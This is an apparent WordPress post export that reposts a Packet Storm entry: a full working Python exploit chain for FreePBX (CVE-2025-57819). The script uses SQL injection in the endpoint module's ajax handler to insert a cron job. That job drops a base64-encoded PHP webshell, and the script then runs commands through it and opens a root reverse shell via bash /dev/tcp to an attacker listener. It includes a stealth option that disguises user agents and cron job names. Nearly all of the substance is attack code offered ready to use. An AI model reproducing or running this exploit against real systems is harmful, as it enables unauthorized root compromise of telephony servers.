{"id":62696,"date":"2026-06-15T12:42:34","date_gmt":"2026-06-15T12:42:34","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=62696"},"modified":"2026-06-15T12:42:34","modified_gmt":"2026-06-15T12:42:34","slug":"freepbx-sql-injection-shell-upload-remote-root","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=62696","title":{"rendered":"\ud83d\udcc4 FreePBX SQL Injection \/ Shell Upload \/ Remote Root_PACKETSTORM:223388"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-15T16:48:33&#8243;,&#8221;description&#8221;:&#8221;This Python3 script exploits a remote SQL injection vulnerability in FreePBX and adds a remote shell that achieves root privileges. This issue has been patched in endpoint versions 15.0.66, 16.0.89, and 17.0.3&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FreePBX SQL Injection \/ Shell Upload \/ Remote Root&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223388&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-57819&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : FreePBX 17.0.3 SQLi to Root Shell                                                                                |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/www.freepbx.org\/                                                                                         |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    :   This Python3 script exploits a critical SQL injection vulnerability (CVE-2025-57819) in FreePBX. \\n                       This issue has been patched in endpoint versions 15.0.66, 16.0.89, and 17.0.3.\\n    \\n    \\n    [+] POC        :  \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import urllib3\\n    import sys\\n    import time\\n    import base64\\n    import json\\n    import zlib\\n    import threading\\n    import socket\\n    import re\\n    from urllib.parse import quote, urlparse\\n    from colorama import init, Fore, Style\\n    import argparse\\n    import random\\n    import string\\n    \\n    init(autoreset=True)\\n    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n    \\n    class FreePBXExploit:\\n        def __init__(self, target, lhost=None, lport=None, verbose=False, stealth=False):\\n            self.target = target.rstrip(&#8216;\/&#8217;)\\n            self.lhost = lhost\\n            self.lport = lport\\n            self.verbose = verbose\\n            self.stealth = stealth\\n            self.session = requests.Session()\\n            self.webshell_path = None\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: self.get_random_ua() if stealth else &#8216;Mozilla\/5.0 (X11; Linux x86_64)&#8217;\\n            })\\n        def get_random_ua(self):\\n            uas = [\\n                &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\n                &#8216;Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36&#8217;,\\n                &#8216;Mozilla\/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit\/537.36&#8217;\\n            ]\\n            return random.choice(uas)\\n        def log_info(self, msg): print(f\\&#8221;{Fore.CYAN}[*]{Style.RESET_ALL} {msg}\\&#8221;)\\n        def log_success(self, msg): print(f\\&#8221;{Fore.GREEN}[+]{Style.RESET_ALL} {msg}\\&#8221;)\\n        def log_warning(self, msg): print(f\\&#8221;{Fore.YELLOW}[!]{Style.RESET_ALL} {msg}\\&#8221;)\\n        def log_error(self, msg): print(f\\&#8221;{Fore.RED}[-]{Style.RESET_ALL} {msg}\\&#8221;)\\n        def log_debug(self, msg):\\n            if self.verbose:\\n                print(f\\&#8221;{Fore.MAGENTA}[D]{Style.RESET_ALL} {msg}\\&#8221;)\\n        def build_sqli_url(self, payload):\\n            \\&#8221;\\&#8221;\\&#8221;Build URL with SQL injection payload\\&#8221;\\&#8221;\\&#8221;\\n            ajax_path = f\\&#8221;{self.target}\/admin\/ajax.php\\&#8221;\\n            module = \\&#8221;FreePBX\\\\\\\\modules\\\\\\\\endpoint\\\\\\\\ajax\\&#8221;\\n            params = {\\n                &#8216;module&#8217;: module,\\n                &#8216;command&#8217;: &#8216;model&#8217;,\\n                &#8216;template&#8217;: &#8216;x&#8217;,\\n                &#8216;model&#8217;: &#8216;model&#8217;,\\n                &#8216;brand&#8217;: payload\\n            }\\n            param_str = &#8216;\\u0026&#8242;.join([f\\&#8221;{k}={quote(str(v))}\\&#8221; for k, v in params.items()])\\n            return f\\&#8221;{ajax_path}?{param_str}\\&#8221;\\n        def sqli_read(self, subquery, retries=3):\\n            \\&#8221;\\&#8221;\\&#8221;Extract data via error-based SQL injection\\&#8221;\\&#8221;\\&#8221;\\n            payload = f\\&#8221;x&#8217; AND EXTRACTVALUE(1,CONCAT(0x7e,({subquery}),0x7e))&#8211; -\\&#8221;\\n            for attempt in range(retries):\\n                try:\\n                    url = self.build_sqli_url(payload)\\n                    response = self.session.get(url, verify=False, timeout=10)\\n                    if response.status_code == 200:\\n                        try:\\n                            data = response.json()\\n                            error_msg = data.get(&#8216;error&#8217;, {}).get(&#8216;message&#8217;, &#8221;)\\n                            match = re.search(r&#8217;~([^~]+)~&#8217;, error_msg)\\n                            if match:\\n                                return match.group(1)\\n                        except:\\n                            pass\\n                except Exception as e:\\n                    self.log_debug(f\\&#8221;SQLi read attempt {attempt + 1} failed: {e}\\&#8221;)\\n                time.sleep(1)\\n            return None\\n        def sqli_write(self, statement):\\n            \\&#8221;\\&#8221;\\&#8221;Execute SQL write operation\\&#8221;\\&#8221;\\&#8221;\\n            payload = f\\&#8221;x&#8217;; {statement}&#8211; -\\&#8221;\\n            try:\\n                url = self.build_sqli_url(payload)\\n                response = self.session.get(url, verify=False, timeout=10)\\n                if response.status_code == 200:\\n                    if &#8216;Whoops&#8217; in response.text or &#8216;array offset&#8217; in response.text:\\n                        return True\\n            except Exception as e:\\n                self.log_debug(f\\&#8221;SQLi write error: {e}\\&#8221;)\\n                return True \\n            return False\\n        def webshell_exec(self, cmd):\\n            \\&#8221;\\&#8221;\\&#8221;Execute command via webshell\\&#8221;\\&#8221;\\&#8221;\\n            if not self.webshell_path:\\n                return None\\n            try:\\n                url = f\\&#8221;https:\/\/{self.target}{self.webshell_path}\\&#8221;\\n                response = self.session.get(url, params={&#8216;cmd&#8217;: cmd}, verify=False, timeout=15)\\n                if response.status_code == 200:\\n                    return response.text.strip()\\n            except:\\n                pass\\n            return None\\n        def enumerate_database(self):\\n            \\&#8221;\\&#8221;\\&#8221;Enumerate database information\\&#8221;\\&#8221;\\&#8221;\\n            self.log_info(\\&#8221;Enumerating database&#8230;\\&#8221;)\\n            db_info = {}\\n            queries = {\\n                &#8216;database&#8217;: &#8216;SELECT DATABASE()&#8217;,\\n                &#8216;user&#8217;: &#8216;SELECT USER()&#8217;,\\n                &#8216;version&#8217;: &#8216;SELECT VERSION()&#8217;,\\n                &#8216;hostname&#8217;: &#8216;SELECT @@hostname&#8217;\\n            }\\n            for key, query in queries.items():\\n                result = self.sqli_read(query)\\n                if result:\\n                    db_info[key] = result\\n                    self.log_success(f\\&#8221;{key.capitalize()}: {result}\\&#8221;)\\n                else:\\n                    self.log_warning(f\\&#8221;Could not retrieve {key}\\&#8221;)\\n            return db_info\\n        def drop_webshell(self):\\n            \\&#8221;\\&#8221;\\&#8221;Drop PHP webshell via cron job\\&#8221;\\&#8221;\\&#8221;\\n            self.log_info(\\&#8221;Dropping webshell via cron job&#8230;\\&#8221;)\\n            random_name = &#8221;.join(random.choices(string.ascii_lowercase, k=8))\\n            self.webshell_path = f\\&#8221;\/{random_name}.php\\&#8221;\\n            webshell_code = \\&#8221;PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\\&#8221;\\n            full_path = f\\&#8221;\/var\/www\/html{self.webshell_path}\\&#8221;\\n            cmd = f\\&#8221;echo {webshell_code} | base64 -d \\u003e {full_path}\\&#8221;\\n            cron_name = f\\&#8221;sys_{random_name}\\&#8221; if self.stealth else \\&#8221;poc_webshell\\&#8221;\\n            sql = f\\&#8221;\\&#8221;\\&#8221;\\n                INSERT INTO cron_jobs \\n                (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) \\n                VALUES (&#8216;sysadmin&#8217;, &#8216;{cron_name}&#8217;, &#8216;{cmd}&#8217;, NULL, &#8216;* * * * *&#8217;, 30, 1, 1)\\n            \\&#8221;\\&#8221;\\&#8221;\\n            if self.sqli_write(sql):\\n                self.log_success(f\\&#8221;Cron job inserted (executes every minute)\\&#8221;)\\n                return True\\n            else:\\n                self.log_error(\\&#8221;Failed to insert cron job\\&#8221;)\\n                return False\\n        def wait_for_webshell(self, timeout=120):\\n            \\&#8221;\\&#8221;\\&#8221;Wait for webshell to become active\\&#8221;\\&#8221;\\&#8221;\\n            self.log_info(f\\&#8221;Waiting for webshell activation (max {timeout}s)&#8230;\\&#8221;)\\n            start_time = time.time()\\n            while time.time() &#8211; start_time \\u003c timeout:\\n                result = self.webshell_exec(\\&#8221;id\\&#8221;)\\n                if result and (&#8216;uid=&#8217; in result or &#8216;gid=&#8217; in result):\\n                    self.log_success(f\\&#8221;Webshell active! Response: {result[:100]}\\&#8221;)\\n                    return True\\n                elapsed = int(time.time() &#8211; start_time)\\n                remaining = timeout &#8211; elapsed\\n                self.log_info(f\\&#8221;Webshell not ready&#8230; ({remaining}s remaining)\\&#8221;)\\n                time.sleep(10)\\n            self.log_error(\\&#8221;Timeout waiting for webshell\\&#8221;)\\n            return False\\n        def execute_system_commands(self, commands):\\n            \\&#8221;\\&#8221;\\&#8221;Execute multiple system commands and collect output\\&#8221;\\&#8221;\\&#8221;\\n            results = {}\\n            for cmd in commands:\\n                self.log_info(f\\&#8221;Executing: {cmd}\\&#8221;)\\n                output = self.webshell_exec(cmd)\\n                if output:\\n                    results[cmd] = output\\n                    print(f\\&#8221;    {output[:200]}\\&#8221;)\\n                else:\\n                    print(\\&#8221;    (no output)\\&#8221;)\\n            return results\\n        def get_flags(self):\\n            \\&#8221;\\&#8221;\\&#8221;Attempt to read CTF flags\\&#8221;\\&#8221;\\&#8221;\\n            self.log_info(\\&#8221;Searching for flags&#8230;\\&#8221;)\\n            flag_patterns = [\\n                &#8216;\/home\/*\/user.txt&#8217;,\\n                &#8216;\/home\/*\/flag.txt&#8217;,\\n                &#8216;\/root\/root.txt&#8217;,\\n                &#8216;\/root\/flag.txt&#8217;,\\n                &#8216;\/var\/www\/html\/flag.txt&#8217;\\n            ]\\n            flags_found = []\\n            for pattern in flag_patterns:\\n                cmd = f\\&#8221;find {pattern} -type f 2\\u003e\/dev\/null | head -1\\&#8221;\\n                path = self.webshell_exec(cmd)\\n                if path and path.strip():\\n                    flag = self.webshell_exec(f\\&#8221;cat {path.strip()}\\&#8221;)\\n                    if flag and len(flag) \\u003c 200:\\n                        self.log_success(f\\&#8221;Flag found at {path}: {flag}\\&#8221;)\\n                        flags_found.append((path, flag))\\n            return flags_found\\n        def incron_root_shell(self):\\n            \\&#8221;\\&#8221;\\&#8221;Use incron hook for root reverse shell\\&#8221;\\&#8221;\\&#8221;\\n            if not self.lhost or not self.lport:\\n                self.log_warning(\\&#8221;No listener configured, skipping root shell\\&#8221;)\\n                return False\\n            self.log_info(\\&#8221;Preparing incron-based root shell&#8230;\\&#8221;)\\n            rev_shell = f\\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{self.lhost}\/{self.lport} 0\\u003e\\u00261\\&#8221;\\n            payload_data = [rev_shell, \\&#8221;txn\\&#8221;]\\n            json_str = json.dumps(payload_data)\\n            compressed = zlib.compress(json_str.encode())\\n            encoded = base64.b64encode(compressed).decode().replace(&#8216;\/&#8217;, &#8216;_&#8217;)\\n            trigger_file = f\\&#8221;\/var\/spool\/asterisk\/incron\/api.fwconsole-commands.{encoded}\\&#8221;\\n            self.log_info(f\\&#8221;Trigger file: {trigger_file}\\&#8221;)\\n            self.log_warning(f\\&#8221;Start listener: nc -lvnp {self.lport}\\&#8221;)\\n            input(f\\&#8221;{Fore.YELLOW}[?]{Style.RESET_ALL} Press Enter when listener is ready&#8230;\\&#8221;)\\n            result = self.webshell_exec(f\\&#8221;touch &#8216;{trigger_file}&#8217;\\&#8221;)\\n            if result is None or result == \\&#8221;\\&#8221;:\\n                self.log_success(\\&#8221;Trigger file created &#8211; incron should fire as root!\\&#8221;)\\n                self.log_info(\\&#8221;Check your listener for root shell&#8230;\\&#8221;)\\n                time.sleep(5)\\n                return True\\n            else:\\n                self.log_error(f\\&#8221;Failed to create trigger file: {result}\\&#8221;)\\n                return False\\n        def cleanup(self):\\n            \\&#8221;\\&#8221;\\&#8221;Remove webshell and cron job\\&#8221;\\&#8221;\\&#8221;\\n            self.log_info(\\&#8221;Cleaning up&#8230;\\&#8221;)\\n            if self.webshell_path:\\n                full_path = f\\&#8221;\/var\/www\/html{self.webshell_path}\\&#8221;\\n                self.webshell_exec(f\\&#8221;rm -f {full_path}\\&#8221;)\\n                self.log_success(\\&#8221;Webshell removed\\&#8221;)\\n            sql = \\&#8221;DELETE FROM cron_jobs WHERE jobname LIKE &#8216;poc_%&#8217; OR jobname LIKE &#8216;sys_%&#8217;\\&#8221;\\n            self.sqli_write(sql)\\n            self.log_success(\\&#8221;Cron jobs cleaned\\&#8221;)\\n        def run_exploit(self):\\n            \\&#8221;\\&#8221;\\&#8221;Main exploit chain\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\&#8221;\\&#8221;\\n    {Fore.MAGENTA}\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551         FreePBX CVE-2025-57819 &#8211; Advanced Exploit                \u2551\\n    \u2551         Full Chain: SQLi \u2192 Webshell \u2192 Root Shell                 \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d{Style.RESET_ALL}\\n    \\&#8221;\\&#8221;\\&#8221;)\\n            self.log_info(f\\&#8221;Target: https:\/\/{self.target}\\&#8221;)\\n            if self.lhost:\\n                self.log_info(f\\&#8221;Listener: {self.lhost}:{self.lport}\\&#8221;)\\n            self.log_info(\\&#8221;Step 1: Verifying SQL injection&#8230;\\&#8221;)\\n            test_result = self.sqli_read(\\&#8221;SELECT 123\\&#8221;)\\n            if test_result != \\&#8221;123\\&#8221;:\\n                self.log_error(\\&#8221;SQL injection not working!\\&#8221;)\\n                return False\\n            self.log_success(\\&#8221;SQL injection confirmed!\\&#8221;)\\n            self.enumerate_database()\\n            self.log_info(\\&#8221;Step 2: Dropping webshell&#8230;\\&#8221;)\\n            if not self.drop_webshell():\\n                return False\\n            if not self.wait_for_webshell():\\n                return False\\n            self.log_info(\\&#8221;Step 3: System reconnaissance&#8230;\\&#8221;)\\n            recon_cmds = [\\n                \\&#8221;id\\&#8221;,\\n                \\&#8221;hostname\\&#8221;,\\n                \\&#8221;uname -a\\&#8221;,\\n                \\&#8221;whoami\\&#8221;,\\n                \\&#8221;pwd\\&#8221;\\n            ]\\n            self.execute_system_commands(recon_cmds)\\n            self.get_flags()\\n            if self.lhost and self.lport:\\n                self.log_info(\\&#8221;Step 4: Attempting root shell&#8230;\\&#8221;)\\n                self.incron_root_shell()\\n            cleanup = input(f\\&#8221;\\\\n{Fore.YELLOW}[?]{Style.RESET_ALL} Cleanup artifacts? [y\/N] \\&#8221;)\\n            if cleanup.lower() == &#8216;y&#8217;:\\n                self.cleanup()\\n            self.log_success(\\&#8221;Exploit completed!\\&#8221;)\\n            return True\\n    def main():\\n        parser = argparse.ArgumentParser(description=&#8217;FreePBX CVE-2025-57819 Exploit&#8217;)\\n        parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, required=True, help=&#8217;Target FreePBX URL (e.g., connected.htb)&#8217;)\\n        parser.add_argument(&#8216;-l&#8217;, &#8216;&#8211;lhost&#8217;, help=&#8217;Listener IP for reverse shell&#8217;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;lport&#8217;, type=int, help=&#8217;Listener port&#8217;)\\n        parser.add_argument(&#8216;-v&#8217;, &#8216;&#8211;verbose&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Verbose output&#8217;)\\n        parser.add_argument(&#8216;-s&#8217;, &#8216;&#8211;stealth&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Enable stealth mode&#8217;)\\n        parser.add_argument(&#8216;&#8211;check&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Only check vulnerability&#8217;)\\n        args = parser.parse_args()\\n        exploit = FreePBXExploit(\\n            target=args.target,\\n            lhost=args.lhost,\\n            lport=args.lport,\\n            verbose=args.verbose,\\n            stealth=args.stealth\\n        )\\n        if args.check:\\n            print(\\&#8221;Checking vulnerability&#8230;\\&#8221;)\\n            result = exploit.sqli_read(\\&#8221;SELECT 123\\&#8221;)\\n            if result == \\&#8221;123\\&#8221;:\\n                print(f\\&#8221;{Fore.GREEN}[+] Target is VULNERABLE{Style.RESET_ALL}\\&#8221;)\\n            else:\\n                print(f\\&#8221;{Fore.RED}[-] Target is NOT vulnerable{Style.RESET_ALL}\\&#8221;)\\n            return\\n        exploit.run_exploit()\\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223388&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:H\/VI:H\/SI:H\/VA:H\/SA:H&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223388\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-15T16:48:33&#8243;,&#8221;description&#8221;:&#8221;This Python3 script exploits a remote SQL injection vulnerability in FreePBX and adds a remote shell that achieves root privileges. This issue has been patched&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-62696","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 FreePBX SQL Injection \/ Shell Upload \/ Remote Root_PACKETSTORM:223388 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=62696\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 FreePBX SQL Injection \/ Shell Upload \/ Remote Root_PACKETSTORM:223388 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-15T16:48:33&#8243;,&#8221;description&#8221;:&#8221;This Python3 script exploits a remote SQL injection vulnerability in FreePBX and adds a remote shell that achieves root privileges. This issue has been patched...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=62696\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-15T12:42:34+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62696#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62696\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 FreePBX SQL Injection \\\/ Shell Upload \\\/ Remote Root_PACKETSTORM:223388\",\"datePublished\":\"2026-06-15T12:42:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62696\"},\"wordCount\":1959,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62696#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62696\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62696\",\"name\":\"\ud83d\udcc4 FreePBX SQL Injection \\\/ Shell Upload \\\/ Remote Root_PACKETSTORM:223388 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-15T12:42:34+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62696#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62696\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62696#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 FreePBX SQL Injection \\\/ Shell Upload \\\/ Remote Root_PACKETSTORM:223388\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 FreePBX SQL Injection \/ Shell Upload \/ Remote Root_PACKETSTORM:223388 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=62696","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 FreePBX SQL Injection \/ Shell Upload \/ Remote Root_PACKETSTORM:223388 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-15T16:48:33&#8243;,&#8221;description&#8221;:&#8221;This Python3 script exploits a remote SQL injection vulnerability in FreePBX and adds a remote shell that achieves root privileges. This issue has been patched...","og_url":"https:\/\/zero.redgem.net\/?p=62696","og_site_name":"zero redgem","article_published_time":"2026-06-15T12:42:34+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=62696#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=62696"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 FreePBX SQL Injection \/ Shell Upload \/ Remote 